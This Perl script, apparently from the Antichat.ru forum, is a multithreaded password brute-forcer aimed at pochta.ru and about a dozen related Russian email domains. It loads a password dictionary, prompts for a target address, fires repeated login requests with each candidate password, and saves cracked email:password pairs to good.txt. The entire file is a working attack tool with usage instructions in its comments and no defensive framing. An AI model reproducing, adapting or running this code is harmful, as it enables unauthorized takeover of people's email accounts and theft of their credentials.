#!/usr/bin/perl
#################################################################################################
################################Pochta.ru Multithreads Brutforce by ZAMUT####################
#(pochta.ru,fromru.com,front.ru,hotbox.ru,hotmail.ru,krovatka.su,land.ru,mail15.com,mail333.com,#
# newmail.ru,nightmail.ru,nm.ru,pisem.net,pochtamt.ru,pop3.ru,rbcmail.ru,smtp.ru)################
# Запускаем brut.pl xx, где xx - кол-во потоков
# plist.txt - Словарь паролей
# good.txt  - Файл для сбрученных паролей 
#################################################################################################
#############################################Antichat.ru#########################################
use IO::Socket;
use strict;
use warnings;
use threads;
use threads::shared;
my  @pass:shared;

my $threads = $ARGV[0];
open IN, "<plist.txt";
print 'Email:';
chomp(my $up =<STDIN>);
my($u,$p) = undef;
($u,$p)=split('\@',$up);
Next:
@pass = list();

for(0..$threads) {threads->create(\&brut, $_);}
for(threads->list) {$_->join; }

sub brut
{
 while (@pass)
 {
  my $pas = shift @pass;
  my $socket = IO::Socket::INET->new('pochta.ru:80') || die("Can't connecting!");
  print $socket "GET /login.php?reason=login&lng=&rnd=11111122&back=&user=$u&domain=$p&pass=$pas&long_session=1 HTTP/1.0\n\n";
  while(<$socket>)
  {
	 my $s = <$socket>;
	 if($s=~/login=/) 
		 {  open  GOOD,'>>good.txt'; 
	            print GOOD "$up:$pas\n";
		    print "\n$up:$pas\n";
		    close GOOD;
		    close $socket; 
		    exit; }
  }
  close $socket;
 }
}
goto Next;

sub list
{
	my (@mas);
	while (<IN>){
	push @mas, $_;
	last if (@mas == 500);
	}
	chomp @mas;
	return @mas;
};